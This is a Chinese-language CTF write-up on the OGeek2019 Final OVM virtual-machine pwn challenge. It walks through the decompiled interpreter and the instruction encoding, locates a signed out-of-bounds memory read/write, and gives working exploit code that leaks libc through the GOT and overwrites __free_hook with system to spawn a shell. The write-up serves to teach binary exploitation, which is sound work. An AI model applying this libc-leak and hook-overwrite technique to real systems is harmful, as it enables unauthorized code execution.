vm pwn入门1
见过很多次vm的pwn了,打开过好几次,一直没有勇气也没有能力写出来(因为我逆向能力不足),但是最近发现这东西越来越多了,没办法只能硬着头皮写了
首先还是要介绍一下什么是vm pwn,这东西一般代指在程序中实现运算指令来模拟程序的运行(汇编类)或者在程序中自定义运算指令的程序(编译类),而常见的vmpwn就是这两种题型,而常见的漏洞点是越界读写
所以题目的原理很简单,难度基本集中在逆向上面,接下来我们以题目的形式来进行学习
例题
[OGeek2019 Final]OVM
逆向
首先看buu上面的一道比较简单的vm,本地使用的是ubuntu16.04自带的2.23的环境
首先来看一下题目
没有开启canary,剩下的保护是全开的,题目主体如下
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int16 v4; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int16 v5; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int16 v6; // [rsp+6h] [rbp-Ah] BYREF
unsigned int v7; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
comment = malloc(0x8CuLL);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(2, signal_handler);
write(1, "WELCOME TO OVM PWN\n", 0x16uLL);
write(1, "PC: ", 4uLL);
_isoc99_scanf("%hd", &v5);
getchar();
write(1, "SP: ", 4uLL);
_isoc99_scanf("%hd", &v6);
getchar();
reg[13] = v6;
reg[15] = v5;
write(1, "CODE SIZE: ", 0xBuLL);
_isoc99_scanf("%hd", &v4);
getchar();
if ( v6 + (unsigned int)v4 > 0x10000 || !v4 )
{
write(1, "EXCEPTION\n", 0xAuLL);
exit(155);
}
write(1, "CODE: ", 6uLL);
running = 1;
for ( i = 0; v4 > i; ++i )
{
_isoc99_scanf("%d", &memory[v5 + i]);
if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 )
memory[i + v5] = -536870912;
getchar();
}
while ( running )
{
v7 = fetch();
execute(v7);
}
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment, 0x8CuLL);
sendcomment(comment);
write(1, "Bye\n", 4uLL);
return 0;
}
我们从上往下介绍一些可能不太常见的函数
首先是signal(2, signal_handler),这一行代码是注册信号处理器的操作,具体功能如下
-
signal
函数:用于指定当进程接收到某个信号时,应如何处理该信号。 - 第一个参数
2
:表示信号编号,2是标准信号SIGINT
的编号。-
SIGINT
信号通常由用户通过键盘输入 Ctrl+C 来发送,用于终止当前运行的程序。
-
-
第二个参数
signal_handler
:是一个函数指针,表示当程序接收到SIGINT
信号时,将调用的处理函数。
总的来说,signal(2, signal_handler)
的含义是:
- 当用户按下 Ctrl+C 发送
SIGINT
信号时,不是直接终止程序,而是执行自定义的信号处理函数signal_handler
。
后面的scanf里面的hd参数代表短整型,也就是16个字节的数据,分别写入v5和v6,getchar用于吸收换行符
reg数组位于bss上面,分别把v5和v6的值写入reg[13]和reg[15],这个reg给的也很明显了,就是模拟的栈,v5和v6分别代表程序计数器 (PC)和堆栈指针 (SP)。
然后提示输入size,也是短整型的v4,会对大小进行检查, v6 + v4
不得超过 0x10000(64 KB 内存限制),同时v4不能为空
随后会循环读入数据
write(1, "CODE: ", 6uLL); // 提示用户输入代码内容。
running = 1; // 设置运行标志位为 1,启动虚拟机。
for ( i = 0; v4 > i; ++i ) // 循环读取代码,次数为用户输入的代码大小 v4。
{
_isoc99_scanf("%d", &memory[v5 + i]); // 读取 4 字节整数存入虚拟机内存 `memory` 中,地址从 `v5` 开始。
if ( (memory[i + v5] & 0xFF000000) == 0xFF000000 ) // 检查高 8 位是否为 0xFF。
memory[i + v5] = -536870912; // 如果是,将该指令改为特殊值 -536870912。
getchar(); // 清除缓冲区中的换行符。
}
然后依次执行
while ( running ) // 虚拟机主循环,只要 `running` 为真。
{
v7 = fetch(); // 获取下一条指令(从虚拟机内存中读取指令)。
execute(v7); // 执行指令(实现虚拟机指令集的操作)。
后续的重点其实是执行函数,execute,参数是v7,这个v7又是fetch函数的返回值
__int64 fetch()
{
int v0; // eax
v0 = reg[15];
reg[15] = v0 + 1;
return (unsigned int)memory[v0];
}
每次执行一次这个函数,v0都会加1,返回值又是memory[v0],所以每次都会往后取指令
ssize_t __fastcall execute(int opcode)
{
ssize_t result; // rax: 用于存储执行结果。
unsigned __int8 v2; // [rsp+18h] [rbp-8h]: 第一个操作数寄存器编号(低 4 位)。
unsigned __int8 v3; // [rsp+19h] [rbp-7h]: 第二个操作数寄存器编号(中间 4 位)。
unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]: 目标寄存器编号(高 4 位)。
int i; // [rsp+1Ch] [rbp-4h]: 循环变量。
// 提取寄存器编号字段
v4 = (opcode & 0xF0000u) >> 16; 。
v3 = (unsigned __int16)(opcode & 0xF00) >> 8;
v2 = opcode & 0xF;
result = HIBYTE(opcode);
// 操作码为 0x70(ADD 指令)
if ( HIBYTE(opcode) == 0x70 ) // 如果高字节操作码是 0x70,则执行加法指令。
{
result = (ssize_t)reg;
reg[v4] = reg[v2] + reg[v3]; // 目标寄存器 v4 = 寄存器 v2 + 寄存器 v3。
return result; // 返回执行结果。
}
// 操作码大于 0x70 的指令
if ( HIBYTE(opcode) > 0x70u )
{
// 操作码为 0xB0(XOR 指令)
if ( HIBYTE(opcode) == 0xB0 )
{
result = (ssize_t)reg;
reg[v4] = reg[v2] ^ reg[v3]; // 目标寄存器 v4 = 寄存器 v2 ^ 寄存器 v3(按位异或)。
return result;
}
// 操作码大于 0xB0 的指令
if ( HIBYTE(opcode) > 0xB0u )
{
// 操作码为 0xD0(右移指令)
if ( HIBYTE(opcode) == 208 )
{
result = (ssize_t)reg;
reg[v4] = (int)reg[v3] >> reg[v2]; // 目标寄存器 v4 = 寄存器 v3 >> 寄存器 v2。
return result;
}
// 操作码大于 0xD0 的指令
if ( HIBYTE(opcode) > 0xD0u )
{
// 操作码为 0xE0(EXIT 指令)
if ( HIBYTE(opcode) == 224 )
{
running = 0; // 停止虚拟机运行。
if ( !reg[13] ) // 如果寄存器 13 为 0,打印退出信息。
return write(1, "EXIT\n", 5uLL);
}
else if ( HIBYTE(opcode) != 255 ) // 如果不是 HALT 指令,直接返回。
{
return result;
}
// 操作码为 0xFF(HALT 指令)
running = 0; // 停止虚拟机运行。
for ( i = 0; i <= 15; ++i ) // 打印所有寄存器值。
printf("R%d: %X\n", i, reg[i]);
return write(1, "HALT\n", 5uLL); // 输出 HALT 信息。
}
else if ( HIBYTE(opcode) == 192 ) // 操作码为 0xC0(左移指令)
{
result = (ssize_t)reg;
reg[v4] = reg[v3] << reg[v2]; // 目标寄存器 v4 = 寄存器 v3 << 寄存器 v2。
}
}
else
{
// 基于操作码的按位操作指令
switch ( HIBYTE(opcode) )
{
case 0x90u: // AND 指令
result = (ssize_t)reg;
reg[v4] = reg[v2] & reg[v3]; // 按位与。
break;
case 0xA0u: // OR 指令
result = (ssize_t)reg;
reg[v4] = reg[v2] | reg[v3]; // 按位或。
break;
case 0x80u: // SUB 指令
result = (ssize_t)reg;
reg[v4] = reg[v3] - reg[v2]; // 减法。
break;
}
}
}
// 操作码为 0x30(LOAD 指令)
else if ( HIBYTE(opcode) == 0x30 )
{
result = (ssize_t)reg;
reg[v4] = memory[reg[v2]]; // 将内存地址 reg[v2] 的值加载到寄存器 v4。漏洞点
}
// 操作码介于 0x31 和 0x3F 的指令
else if ( HIBYTE(opcode) > 0x30u )
{
switch ( HIBYTE(opcode) )
{
case 'P': // PUSH 指令
LODWORD(result) = reg[13]; // 获取栈指针 reg[13]。
reg[13] = result + 1; // 栈指针加 1。
result = (int)result;
stack[(int)result] = reg[v4]; // 将寄存器 v4 的值压入栈。
break;
case '`': // POP 指令
--reg[13]; // 栈指针减 1。
result = (ssize_t)reg;
reg[v4] = stack[reg[13]]; // 将栈顶值弹出到寄存器 v4。
break;
case '@': // STORE 指令
result = (ssize_t)memory;
memory[reg[v2]] = reg[v4]; // 将寄存器 v4 的值存入内存地址 reg[v2]。漏洞点
break;
}
}
// 操作码为 0x10(LOAD_IMM 指令)
else if ( HIBYTE(opcode) == 16 )
{
result = (ssize_t)reg;
reg[v4] = (unsigned __int8)opcode; // 将立即值存储到寄存器 v4。
}
// 操作码为 0x20(TEST_ZERO 指令)
else if ( HIBYTE(opcode) == 32 )
{
result = (ssize_t)reg;
reg[v4] = (_BYTE)opcode == 0; // 如果立即值为 0,将 1 存储到寄存器 v4,否则存储 0。
}
return result; // 返回结果。
}
最后的sendcomment函数其实是一个free
void __fastcall sendcomment(void *a1)
{
free(a1);
}
传进来的comment则是最开始初始化的堆块,而在free前有一个read向comment输入数据,因为是2.23,所以如果我们修改free_hook为system,输入/bin/sh,最后free的时候就可以getshell
所以我们视角转回execute函数
里面更加细节的我上面也有,解释一下最开始为什么要与上那么多数据
v4 = (a1 & 0xF0000u) >> 16;
v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
这段代码从 opcode
中提取了三部分信息,分别是 v4
、v3
和 v2
,它们通常对应于虚拟机指令集的目标寄存器、第二操作数寄存器、和第一操作数寄存器。这些位的提取通常遵循特定的指令编码规范。
| 高 8 位 操作码 | 次高 4 位 目标寄存器 | 次低 4 位 源寄存器1 | 最低 4 位 源寄存器2/立即数 |
| 24-31 | 20-23 | 12-15 | 0-3 |
字段解释
-
操作码(高 8 位):
- 使用
HIBYTE(opcode)
提取,即(opcode >> 8) & 0xFF
。 - 决定指令的类型,例如
ADD
、SHL
、LOAD
等。
- 使用
-
目标寄存器(次高 4 位,
v4
):- 提取
(opcode & 0xF0000u) >> 16
。 - 表示操作的结果将存储在哪个寄存器中。
- 提取
-
源寄存器1(次低 4 位,
v3
):- 提取
(opcode & 0xF00) >> 8
。 - 表示第一个操作数来源的寄存器。
- 提取
-
源寄存器2或立即数(最低 4 位,
v2
):- 提取
opcode & 0xF
。 - 表示第二个操作数来源的寄存器,或直接是一个 4 位的立即数。
- 提取
这里还是需要解释一下&
举个例子,假设 opcode = 0xABCDE123
(32 位整数),其二进制表示为:
1010 1011 1100 1101 1110 0001 0010 0011
*使用 v4
、v3
和 v2
提取字段**
c复制代码v4 = (opcode & 0xF0000u) >> 16; // 提取目标寄存器编号
v3 = (opcode & 0xF00) >> 8; // 提取源寄存器1编号
v2 = opcode & 0xF; // 提取源寄存器2编号
result = HIBYTE(opcode); // 提取操作码
字段解析
-
提取
v4
(目标寄存器编号)v4 = (opcode & 0xF0000u) >> 16;
-
掩码:0xF0000:
0000 1111 0000 0000 0000
-
按位与操作:
0xABCDE123 & 0xF0000 = 0xC0000
-
右移 16 位:
0xC0000 >> 16 = 0xC
结果:
v4 = 0xC
-
-
提取
v3
(源寄存器1编号)v3 = (opcode & 0xF00) >> 8;
-
掩码:0xF00:
0000 0000 1111 0000 0000
-
按位与操作:
0xABCDE123 & 0xF00 = 0xD00
-
右移 8 位:
0xD00 >> 8 = 0xD
结果:
v3 = 0xD
-
-
提取
v2
(源寄存器2编号/立即数)v2 = opcode & 0xF;
-
掩码:0xF:
0000 0000 0000 0000 1111
-
按位与操作:
0xABCDE123 & 0xF = 0x3
结果:
v2 = 0x3
-
-
提取操作码(高 8 位)
result = HIBYTE(opcode);
-
HIBYTE(opcode)
的定义:
#define HIBYTE(x) ((x >> 24) & 0xFF)
-
右移 24 位:
0xABCDE123 >> 24 = 0xAB
-
按位与操作:
0xAB & 0xFF = 0xAB
结果:
result = 0xAB
-
4. 解析结果总结
对于 opcode = 0xABCDE123
,通过解析:
- 操作码(
result
):0xAB - 目标寄存器(
v4
):0xC - 源寄存器1(
v3
):0xD - 源寄存器2(
v2
):0x3
完整逆向出来就可以得到
mov reg, op 0x10 : reg[dest] = op
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
那题目的漏洞点在哪里呢,就是两个mov语句
case 0x40u:
result = (ssize_t)memory;
memory[reg[src2]] = reg[op];
break;
else if ( HIBYTE(opcode) == 0x30 )
{
result = (ssize_t)reg;
reg[op] = memory[reg[src2]];
从对应的汇编中可以看到
数组是一个movsxd
movsxd
是 Move with Sign-Extend 的缩写,用于将一个较小的有符号数据扩展为更大的有符号数据。
关键点:有符号扩展(Sign-Extension)和 无符号扩展(Zero-Extension)
这其实就代表我们的数组里面是有符号的
那也就意味着,我们的数据如果是负的,就会产生越界读写
if ( HIBYTE(opcode) == 0xE0 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL);
}
else if ( HIBYTE(opcode) != 0xFF )
{
return result;
}
running = 0;
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", i, reg[i]);
return write(1, "HALT\n", 5uLL);
}
这里可以泄露libc,那思路也就渐渐清晰
编写exp
泄露libc的思路就是,向上访问到got表,那我们就可以把函数地址放到寄存器里。上面的逆向分析写到寄存器跟内存是4字节的,而泄露的地址是大于4字节的,所以需要使用两个寄存器来存放
最后可以对comment[0]这个位置进行写入数据,最后再使用free进行释放。这里比较关键,我们可以将comment[0]给劫持到free_hook - 0x8的这个位置。然后输入/bin/sh + system_addr,刚好可以将free_hook给改成system。然后free就会执行system(“/bin/sh”);了
向上可以发现,这么多got表,我们选择一个肯定被调用过的,也就是stdin
地址是0x201F80,而我们的menory地址是0x202060
这里也可以发现,数组类型是dword,那也就意味着,一个数组元素占4个字节,所以偏移是0x38
这里还存在的问题是,这里一个位置只能放4个字节,所以我们想要泄露libc需要两个数组元素,分别占一半的地址数
-56用补码是0xffffffc8,也就是我们需要凑一个0xffffffc8到reg里面
'''
mov reg, op 0x10 : reg[dest] = op
mov reg, 0 0x20 : reg[dest] = 0
mov mem, reg 0x30 : reg[dest] = memory[reg[src2]]
mov reg, mem 0x40 : memory[reg[src2]] = reg[dest]
push reg 0x50 : stack[result] = reg[dest]
pop reg 0x60 : reg[dest] = stack[reg[13]]
add 0x70 : reg[dest] = reg[src2] + reg[src1]
sub 0x80 : reg[dest] = reg[src1] - reg[src2]
and 0x90 : reg[dest] = reg[src2] & reg[src1]
or 0xA0 : reg[dest] = reg[src2] | reg[src1]
^ 0xB0 : reg[dest] = reg[src2] ^ reg[src1]
left 0xC0 : reg[dest] = reg[src1] << reg[src2]
right 0xD0 : reg[dest] = reg[src1] >> reg[src2]
0xFF : (exit or print) if(reg[13] != 0) print oper
'''
code(0x10, 0, 0, 8) #reg[0] = 8
code(0x10, 1, 0, 0xff) #reg[1] = 0xff
code(0x10, 2, 0, 0xff) # reg[2] = 0xff
code(0xc0, 2, 2, 0) # reg[2] = reg[2] << reg[0] = 0xff00
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = 0xffff
code(0xc0, 2, 2, 0) # reg[2] = reg[2] << reg[0] = 0xffff00
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = 0xffffff
code(0xc0, 2, 2, 0) # reg[2] = reg[2] << reg[0] = 0xffffff00
code(0x10, 1, 0, 0xc8) # reg[1] = 0xc8
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = 0xffffffc8 = -56
通过0x10的操作码,把reg0里面先放8,这样后面可以左移8个字节,通过不断的左移和相加,最后凑出-56
这个时候的reg2里面就是-56
code(0x30, 3, 0, 2) # mov reg, mem reg[3] = mem[reg[2]] = mem[-56]
code(0x10, 1, 0, 1) # reg[1] = 1
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = -55
code(0x30, 4, 0, 2) # mov reg, mem reg[4] = mem[reg[2]] = mem[-55]
这样就能在reg[3]和reg[4]里面放上mem[-56]和mem[-55]
然后准备劫持free_hook
code(0x10, 1, 0, 0x10) # reg[1] = 0x10
code(0xc0, 1, 1, 0) # reg[1] = reg [1] << reg[0] = 0x1000
code(0x10, 0, 0, 0x90) # reg[0] = 0x90
code(0x70, 1, 1, 0) # reg[1] = reg[1] + reg[0] = 0x1090
code(0x70, 3, 3, 1) # reg[3] = reg[3] + reg[1] = mem[-56] + 0x1090 = free_hook - 8
code(0x10, 1, 0, 47) # reg[1] = 47
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = -55 + 47 = -8
code(0x40, 3, 0, 2) # mov mem[reg[sr2]],reg[dest] 改comment
#gdb.attach(io)
code(0x10, 1, 0, 1) # reg[1]=1
code(0x70, 2, 2, 1) # reg[2] = reg[2] + reg[1] = -8 + 1 = -7
code(0x40, 4, 0, 2) # mov mem[reg[sr2]],reg[dest]
code(0xE0, 0, 0, 0)
stdin地址和_free_hook-8地址相距0x0x1090,通过数组的越界写,把comment里面记录的堆块地址,改成free_hook-8,这样结束的时候就可以对free_hook修改
io.recvuntil('R3: ')
low_addr = int(io.recv(8), 16)
print('[+] low_addr =', hex(low_addr))
io.recvuntil('R4: ')
high_addr = int(io.recv(4), 16)
print('[+] high_addr =', hex(high_addr))
free_hook = (high_addr << 32) + low_addr
print('[+] free_hook =', hex(free_hook))
libc_base = free_hook + 8 - libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
p1 = b'/bin/sh\x00' + p64(system_addr)
io.sendline(p1)
io.interactive()
由于我是ubuntu22.04,所以会显示这样,但是这已经是拿到shell了